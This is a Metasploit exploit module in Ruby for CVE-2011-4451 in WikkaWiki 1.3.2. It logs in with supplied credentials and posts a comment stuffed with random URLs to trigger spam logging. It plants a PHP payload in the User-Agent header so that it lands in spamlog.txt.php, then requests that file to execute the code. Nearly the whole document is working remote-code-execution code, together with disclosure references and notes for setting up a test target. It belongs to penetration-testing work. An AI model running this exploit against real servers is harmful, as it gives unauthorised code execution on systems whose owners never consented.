##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
      'Description'    => %q{
          This module exploits a vulnerability found in WikkaWiki.  When the spam logging
        feature is enabled, it is possible to inject PHP code into the spam log file via the
        UserAgent header , and then request it to execute our payload.  There are at least
        three different ways to trigger spam protection, this module does so by generating
        10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).

          Please note that in order to use the injection, you must manually pick a page
        first that allows you to add a comment, and then set it as 'PAGE'.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'EgiX',   #Initial discovery, PoC
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2011-4451'],
          ['OSVDB', '77393'],
          ['EDB', '18177']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Arch'           => ARCH_PHP,
      'Platform'       => ['php'],
      'Targets'        =>
        [
          ['WikkaWiki 1.3.2 r1814', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 30 2011",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'WikkaWiki username']),
        OptString.new('PASSWORD',  [true, 'WikkaWiki password']),
        OptString.new('PAGE',      [true, 'Page to inject']),
        OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
      ])
  end


  def check
    uri = normalize_uri(target_uri.path)
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "#{uri}/wikka.php?wakka=HomePage"
    })

    if res and res.body =~ /Powered by WikkaWiki/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end


  #
  # Get the cookie before we do any of that login/exploity stuff
  #
  def get_cookie
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => normalize_uri(@base, "wikka.php")
    })

    # Get the cookie in this format:
    # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
    if res and !res.get_cookies.empty?
      cookie = res.get_cookies
    else
      fail_with(Failure::Unknown, "#{peer} - No cookie found, will not continue")
    end

    cookie
  end


  #
  # Do login, and then return the cookie that contains our credential
  #
  def login(cookie)
    # Send a request to the login page so we can obtain some hidden values needed for login
    uri = normalize_uri(@base, "wikka.php") + "?wakka=UserSettings"
    res = send_request_raw({
      'method'  => 'GET',
      'uri'     => uri,
      'cookie'  => cookie
    })

    # Extract the hidden fields
    login = {}
    if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
      fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
      fields.each do |name, value|
        login[name] = value
      end
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to find the hidden fieldset required for login")
    end

    # Add the rest of fields required for login
    login['action']       = 'login'
    login['name']         = datastore['USERNAME']
    login['password']     = datastore['PASSWORD']
    login['do_redirect']  = 'on'
    login['submit']       = "Login"
    login['confpassword'] = ''
    login['email']        = ''

    port = (rport.to_i == 80) ? "" : ":#{rport}"
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => uri,
      'cookie'    => cookie,
      'headers'   => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
      'vars_post' => login
    })

    if res and res.get_cookies =~ /user_name/
      c = res.get_cookies
      user = c.scan(/(user_name\@\w+=\w+);/)[0] || ""
      pass = c.scan(/(pass\@\w+=\w+)/)[0] || ""
      cookie_cred = "#{cookie}; #{user}; #{pass}"
    else
      cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
      fail_with(Failure::Unknown, "#{peer} - Unable to login with \"#{cred}\"")
    end

    return cookie_cred
  end


  #
  # After login, we inject the PHP payload
  #
  def inject_exec(cookie)
    # Get the necessary fields in order to post a comment
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => normalize_uri(@base, "wikka.php") + "?wakka=#{datastore['PAGE']}&show_comments=1",
      'cookie' => cookie
    })

    fields = {}
    if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
      $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
        fields[n] = v
      end
    else
      fail_with(Failure::Unknown, "#{peer} - Cannot get necessary fields before posting a comment")
    end

    # Generate enough URLs to trigger spam logging
    urls = ''
    10.times do |i|
      urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
    end

    # Add more fields
    fields['body']   = urls
    fields['submit'] = 'Add'

    # Inject payload
    b64_payload = Rex::Text.encode_base64(payload.encoded)
    port = (rport.to_i == 80) ? "" : ":#{rport}"
    uri = normalize_uri("#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment")
    post_data = ""
    send_request_cgi({
      'method'    => 'POST',
      'uri'       => uri,
      'cookie'    => cookie,
      'headers'   => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
      'vars_post' => fields,
      'agent'     => "<?php #{payload.encoded} ?>"
    })

    send_request_raw({
      'method' => 'GET',
      'uri'    => normalize_uri(@base, "spamlog.txt.php")
    })
  end


  def exploit
    @base = normalize_uri(target_uri.path)
    @base << '/' if @base[-1, 1] != '/'

    print_status("Getting cookie")
    cookie = get_cookie

    print_status("Logging in")
    cred = login(cookie)

    print_status("Triggering spam logging")
    inject_exec(cred)

    handler
  end
end


=begin
For testing:
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka

Open wikka.config.php, do:
'spam_logging' => '1'
=end
